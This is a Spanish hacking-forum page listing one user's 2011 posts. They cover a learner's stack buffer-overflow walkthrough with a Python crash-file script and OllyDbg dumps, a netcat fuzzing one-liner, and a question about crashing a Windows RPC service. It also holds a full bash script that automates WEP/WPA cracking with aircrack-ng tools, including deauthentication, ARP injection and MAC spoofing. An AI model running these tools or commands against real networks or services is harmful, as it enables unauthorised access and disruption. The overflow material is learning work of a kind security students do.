elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: 1 [2]
11  Seguridad Informática / Bugs y Exploits / Dudas con Buffer Overflow... en: 27 Octubre 2011, 10:51 am
Buenos días,

 Estoy siguiendo un "paper" y quería que me resolvierais algunas dudas que tengo.

 Paper: http://www.exploit-db.com/download_pdf/17971

 Os posteo el histórico que he hecho.

 creo un script en python para que genere un archivo .m3u

Código:
Código:
buffer =
payload = (buffer)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()
Creo con pattern_create un string de 1000 caracteres. y el resultado lo pego en el script que he comentado, quedando de la siguiente manera:

Código:
Código:
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
payload = (buffer)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()
Una vez ejecuto el script, este genera el archivo.

 Con Ollydbg abro el archivo causando un desbordamiento:


Código:
Código:
CPU - main thread

EAX 00000000
ECX 00000000
EDX 001220B0 ASCII "C:\Users\cprados\Desktop\exploit\Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6A
EBX 0038B658 ASCII "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7A
ESP 001221B8 ASCII "Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4A
EBP 000003E9
ESI 00122990 ASCII "C:\Users\cprados\Desktop\exploit\Exploit.m3u"
EDI 000003E8
EIP 36684135

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(4000)
T 0  GS 0000 NULL
D 0
O 0  LastErr 00000000 ERROR_SUCCESS
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)

ST0 empty 1.9909870777517070580e+1958
ST1 empty -2.9727283095472006590e-1400
ST2 empty 9.1910189915361154180e+2175
ST3 empty +UNORM 145F 0BA568B6 FA5EEA55
ST4 empty -1.9778078459257461330e-656
ST5 empty 1.2054646051545530210e+616
ST6 empty 1.0000000000000000000
ST7 empty 22.000000000000000000
               3 2 1 0      E S P U O Z D I
FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0 (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
Last cmnd 001B:76D1EC2A msvcrt.76D1EC2A

XMM0 00000000 00000000 00000000 00000000
XMM1 437984EC 66EF3DF2 CB1BEEFF 8C267657
XMM2 ED3EE9DB FB1A9069 9795720B FD1C8C47
XMM3 67839EC8 8E3B1C5C 2CD66001 3F5CD3EE
XMM4 1A014E73 BF9FF4DA B1A9F74D 39E90125
XMM5 5F38FD76 69B87053 30B4A6C2 CE27E325
XMM6 470B8912 21C0E7A4 E3B1A8C3 1A82EC9B
XMM7 19FC0166 BFBCD0C4 3B21C6ED D37B00F5
                                P U O Z D I
MXCSR 00001F80  FZ 0 DZ 0  Err  0 0 0 0 0 0
                Rnd NEAR   Mask 1 1 1 1 1 1

 Ahora calculo el tamaño exacto que sobreescribe la pila con pattern_offset del EIP 36684135.

 El resultado es 227 por lo que modifico el script de nuevo quedando así:

Código:
Código:
buffer = "A" * 227
payload = (buffer)
f = open("Exploit.m3u","wb")
f.write(payload)
f.close()
Vuelvo a abrir Ollydbg y ejecuto el archivo, posteo la salida:

Código:
Código:
CPU - main thread

EAX 00000000
ECX 00000000
EDX 001220B0 ASCII "C:\Users\cprados\Desktop\exploit\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 00029CC0 ASCII 41,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ESP 001221B8
EBP 000000E4
ESI 00122990 ASCII "C:\Users\cprados\Desktop\exploit\Exploit.m3u"
EDI 000000E3
EIP ABABABBA

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr 00000000 ERROR_SUCCESS
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)

ST0 empty -??? FFFF 00000000 00000000
ST1 empty -??? FFFF 00FF00FF 00FF00FF
ST2 empty -??? FFFF 00000000 00000000
ST3 empty -??? FFFF 00B200C3 00E700F9
ST4 empty -NAN FFFF B3C4E8FA FF787878
ST5 empty -??? FFFF 00B300C4 00E800FA
ST6 empty 1.0000000000000000000
ST7 empty 22.000000000000000000
               3 2 1 0      E S P U O Z D I
FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0 (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
Last cmnd 001B:76D1EC2A msvcrt.76D1EC2A

XMM0 00000000 00000000 00000000 00000000
XMM1 00000000 00000000 00000000 00000000
XMM2 00000000 00000000 00000000 00000000
XMM3 00000000 00000000 00000000 26000000
XMM4 61007200 70006300 00000000 00000000
XMM5 00003100 4E001600 00007300 6F006400
XMM6 706F746B 73654400 11000000 00000000
XMM7 00000000 000000BE EF000400 07003800
                                P U O Z D I
MXCSR 00001F80  FZ 0 DZ 0  Err  0 0 0 0 0 0
                Rnd NEAR   Mask 1 1 1 1 1 1
Código:
Código:
CPU Stack
Address   Value      ASCII Comments
001221B8   ABABABAB  ««««
001221BC   EEFEEEAB  «îþî
001221C0   000000FE  þ
001221C4   00122990  �)   ; ASCII "C:\Users\cprados\Desktop\exploit\Exploit.m3u"
001221C8   00000003  
001221CC   00000021  !
001221D0   75D3D3D6  ÖÓÓu  ; kernel32.lstrcpyA
001221D4   00122B9D  �+   ; ASCII "Exploit.m3u"
001221D8   75D3D429  )ÔÓu  ; kernel32.lstrcatA
001221DC   00000000
001221E0   000002FC  ü
001221E4   00000003  
001221E8   00000021  !
001221EC   00000000
001221F0   000000E3  ã
001221F4   00000047  G
001221F8   7713DF26  &ßw  ; RETURN from ntdll.RtlFillMemoryUlong to ntdll.7713DF26
001221FC   001222E0  à"
00122200   770DF0F2  òð
w  ; RETURN from ntdll.770DF0BE to ntdll.770DF0F2
00122204   77122447  G$w  ; RETURN from ntdll.7710481D to ntdll.77122447
00122208   0012A021  !*
0012220C   001B0000    
00122210   00000000
00122214   00000000
00122218   001B0148  H
0012221C   000000E3  ã
00122220   41414141  AAAA
00122224   41414141  AAAA
00122228   41414141  AAAA
0012222C   41414141  AAAA
00122230   41414141  AAAA
00122234   41414141  AAAA
00122238   41414141  AAAA
0012223C   41414141  AAAA
00122240   41414141  AAAA
00122244   41414141  AAAA
00122248   41414141  AAAA
0012224C   41414141  AAAA
00122250   41414141  AAAA
00122254   41414141  AAAA

 Entonces aqui vienen mis preguntas...

 ¿Por que EIP no se sobreescribe con "A", EIP ABABABBA ?
 En el paper el tio usa 207 caracteres a diferencia de los 227 que me ha calculado el pattern_offset, ¿por que?

 Luego comenta que con findjmp intenta encontrar direcciones válidas para hacer saltar luego a nuestra shellcode, no entiendo esta parte, es más no se que librería he de buscar...

 De momento es todo porque no quiero seguir con el tuto sin aclarar estas cosas...

 Disculpad por la chapa que os he dado y de nuevo disculpas si esto no va a aquí.

 Gracias a todos.
12  Seguridad Informática / Bugs y Exploits / [Petición] Fuzzing y exploit si luego queréis... en: 21 Junio 2011, 10:09 am
Buenas a todos,

Me gustaría que entre todos hicieramos paso a paso una busqueda de vulnerabilidades en algún software que ya esté vulnerado de sobra.

Algún FTP server o algo.

Me estoy perdiendo en el manual de rojodos y cada vez que os leo me pierdo aún más.

Me gustaría ver en olly u otro debugger el comportamiento del fuzzer y entender cada campo.

Estoy estudiando la certificación de Offensive Security pero ahi solo hay un ejemplo y me gustaría ver algo más definido.

Gracias a todos.
13  Seguridad Informática / Bugs y Exploits / Fuzzing con NetCat, pregunta. en: 7 Febrero 2011, 09:45 am
Buenas a todos,

.../pattern_create.rb 1024 | nc 192.168.1.222 5369


En este ejemplo inyecto 1024 con netcat al puerto remoto 5369, pero... cuando el servicio es ftp y quiero meter algo en CWD o STOR?? como se haría con NetCat???

Gracias!!!



14  Seguridad Informática / Bugs y Exploits / Windows 7 duda con ollydbg en RPC y SMB en: 6 Febrero 2011, 21:39 pm

Buenas a todos,

ayer me puse con este tema de nuevo y tengo alguna duda que espero que alguno sepa resolverla.

he usado un fuzzer y he adjuntado el proceso svchost en ollydbg,

Mi sorpresa... aparece un "Access Violation When Executing [no lo recuerdo]

eso que narices quiere decirme?

se que me he cargado el servicio porque me ha dicho que el servicio DCOM tiene que cerrarse a si como la sesion para recuperarse, se me ha reiniciado el Windows 7 sin ningun miramiento.

Gracias por adelantado
15  Programación / Scripting / Multiples comandos simultaneos en mismo terminal. en: 12 Enero 2011, 18:26 pm
Buenas a todos,

Me gustaria saber como lanzar una consola airodump-ng con xterm y en el terminal raiz lanzar aireplay-ng -1.....
y aireplay-ng -3....

simultaneamente.

Esto es posible?, quiero que se lancen sin importarme si un comando ha acabado de ejecutarse o no...

no me vale ";" ni "&"

es posible lanzar xterm ejecutando un comando y ponerlo en background?

No paro de buscar y no encuentro nada de nada.

Espero que podáis ayudarme porque me trae de cabeza....

Gracias.
16  Seguridad Informática / Wireless en Linux / Script -- Suite Crack Wireless. en: 11 Enero 2011, 00:12 am
Hola a todos,

Hace tiempo cree el siguiente script que quiero compartir con vosotros, el codigo bueno... probablemente pueda depurarse casi en su total, aun asi funciona.
Esta creado para funcionar en BT4 con Chipset RTL.

La tercera linea del script puede modificarse para cambiarel chipset,
wlandecrypter esta implementado en el script aunque debe encontrarse en /usr/sbin.

Espero mejoras y demas.

Como comente a ChimoC he creado un blog para temas de scripting y de tecnicas de nivel medio alto en el que me gustaria que participaseis todos.

Seguire aportando aqui las cosas que me ronden la cabeza.

Un saludo,

Si no puedo poner este enlace, borrar unicamente esta parte pero no borreis mi aporte,

Gracias

http://btcode.blogspot.com


Citar
Código
  1. #!/bin/bash
  2. airmon-ng stop mon0 >> /dev/null
  3. clear
  4. RTL8187=`airmon-ng |grep "rtl" |awk '{print $1}'`
  5. echo [*] Cambiando la region de la tarjeta...
  6. iw reg set BO
  7. sleep 2
  8. echo [*] Cambiando la potencia maxima a la tarjeta
  9. iwconfig $RTL8187 txpower 30
  10. sleep 2
  11. echo [*] Habilitando Modo Monitor...
  12. sleep 2
  13. airmon-ng start $RTL8187 >> /dev/null
  14. echo [*] Modo Monitor Habilitado
  15. sleep 2
  16. echo [*] Falsficando Mac Address
  17. sleep 2
  18. echo [*] Mac Address Falsificada
  19. sleep 2
  20. echo
  21. echo
  22. clear
  23.  
  24. monitor=`ifconfig |grep "mon0" |awk '{print $1}'`
  25. mimac=00:11:22:33:44:55
  26.  
  27.  
  28. rm out*
  29. rm rep*
  30. rm *.xor
  31. rm *.diccionario
  32. rm *-request
  33. rm temp*
  34. while :
  35. do
  36. clear
  37. echo
  38. echo "1. Escanear todas las redes con cifrado WEP "
  39. echo "2. Escanear todas las redes con cifrado WPA "
  40. echo "3. Escanear una red en particular"
  41. echo "4. Lanzar Airodump-ng "
  42. echo "5. Lanzar Aireplay-ng modo Selectivo"
  43. echo "6. Lanzar Aireplay-ng modo inyectar ARP"
  44. echo "7. Lanzar Aireplay-ng modo asociacion falsa V1"
  45. echo "8. Lanzar Aireplay-ng modo asociacion falsa V2"
  46. echo "9. Lanzar Aireplay-ng modo asociacion falsa V3"
  47. echo "10. Lanzar Aireplay-ng para obtener el  PRGA"
  48. echo "11. Lanzar Aireplay-ng fragmentado para obtener PRGA"
  49. echo "12. Lanzar Packetforge-ng para crear un paquete ARP"
  50. echo "13. Lanzar Aireplay-ng para inyectar el paquete creado"
  51. echo "14. Lanzar Aireplay-ng para realizar una denegacion "
  52. echo "15. Crear un diccionario para redes WLAN_XX"
  53. echo "16. Lanzar Aircrack-ng para crackear la password"
  54. echo "17. Lanzar Aircrack-ng PTW para crackear la password"
  55. echo "18. Lanzar Aircrack-ng para crackear una password WLAN_XX"
  56. echo "19. Cambiar Mac Asociada"
  57. echo "20. Probar Si la tarjeta Inyecta correctamente"
  58. echo "21. Modificar la sensibilidad de la tarjeta"
  59. echo "22. Salir"
  60. echo ""
  61. echo "Elige una opcion"
  62. read opt
  63.  
  64. case $opt in
  65. 1) xterm -geometry 90x15+500+0 -fg yellow -bg black -hold -title "Esnifando paquetes" -e airodump-ng $monitor -a --encrypt wep -w temp &;;
  66. 2) xterm -geometry 90x15+500+0 -fg yellow -bg black -hold -title "Esnifando paquetes" -e airodump-ng $monitor -a --encrypt wpa -w temp &;;
  67. 3) cat  temp-01.csv | awk '{print $1,$20,$6}' >> temp-00001.csv;
  68. clear;
  69. cat temp-00001.csv;
  70. echo "Selecciona el Bssid";
  71. read macap;
  72. echo "Selecciona el Essid"
  73. read nombreap
  74. echo "Selecciona Canal";
  75. read canal;
  76. killall xterm;
  77. rm temp-*;;
  78. 4) xterm -hold -geometry 90x15+500+0 -fg yellow -bg black -title "Esnifando Paquetes" -e airodump-ng $monitor -a --bssid $macap -c $canal -w out &;;
  79. 5) xterm -hold -geometry 90x15+500+200 -fg yellow -bg black -title "Ataque Selectivo" -e aireplay-ng -2 -p 0841 -m 68 -n 86 -c FF:FF:FF:FF:FF:FF -b $macap -h $mimac $monitor &;;
  80. 6) xterm -hold -geometry 90x15+500+200 -fg yellow -bg black -title "Inyectando Arp" -e aireplay-ng -3 -b $macap -h $mimac $monitor &;;
  81. 7) xterm -geometry 90x15+0+0 -fg yellow -bg black -title "Asociando a $nombreap" -e aireplay-ng -1 0 -a $macap -h $mimac $monitor &;;
  82. 8) xterm -geometry 90x15+0+200 -fg yellow -bg black -title "Asociando a $nombreap" -e aireplay-ng -1 6000 -o 1 -q 10 -a $macap -h $mimac $monitor &;;
  83. 9) echo "Seleccina el numero de paquetes para la autenticacion";
  84. read num;
  85. xterm -geometry 90x15+0+200 -fg yellow -bg black -title "Asociando a $nombreap con $num paquetes" -e aireplay-ng -1 0 -a $macap -h $mimac -o $num $monitor &;;
  86. 10) xterm -geometry 90x15+500+400 -fg yellow -bg black -title "Creando XOR" -e aireplay-ng -4 -b $macap -h $mimac $monitor &;;
  87. 11) xterm -geometry 90x15+500+400 -fg yellow -bg black -title "Creando XOR" -e aireplay-ng -5 -b $macap -h $mimac $monitor &;;
  88. 12) packetforge-ng -0 -a $macap -h $mimac -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-request &;;
  89. 13) xterm -geometry 90x15+500+400 -fg yellow -bg black -hold -title "Inyectando Paquete especial" -e aireplay-ng -2 -r arp-request -h $mimac $monitor &;;
  90. 14) xterm -geometry 90x15+0+200 -fg yellow -bg black -title "Deautenticando a $mimac" -e aireplay-ng -0 1 -a $macap -c $mimac $monitor &;;
  91. 15) xterm -e wlandecrypter $macap $nombreap $nombreap.diccionario;;
  92. 16) xterm -geometry 90x15+0+400 -fg yellow -bg black -hold -title "Crackeando $nombreap" -e aircrack-ng -a 1 *.cap;;
  93. 17) xterm -geometry 90x15+0+400 -fg yellow -bg black -hold -title "Crackeando $nombreap" -e aircrack-ng -a 1 -P 2 *.cap;;
  94. 18) xterm -geometry 90x15+0+400 -fg yellow -bg black -hold -title "Crackeando $nombreap" -e aircrack-ng -a 1 *.cap -w $nombreap.diccionario;;
  95. 19) echo "Escribe la nueva Mac Asociada";
  96. read mimac;;
  97. 20) xterm -geometry 90x15+0+400 -fg yellow -bg black -hold -title "Probando Inyeccion" -e aireplay-ng -9 -a $macap -e $nombreap $monitor &;;
  98. 21) echo "Selecciona la sensibilidad";
  99. echo "1M Mayor sensibilidad o 54M Mayor alcance";
  100. read sens;
  101. iwconfig $monitor rate $sens;;
  102. 22) exit 1;;
  103. *) echo "la opcion $opt no es valida, usa una entre 1 - 22";
  104. echo "Presiona enter para continuar"
  105. read enterKey;;
  106. esac
  107. done
  108.  
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines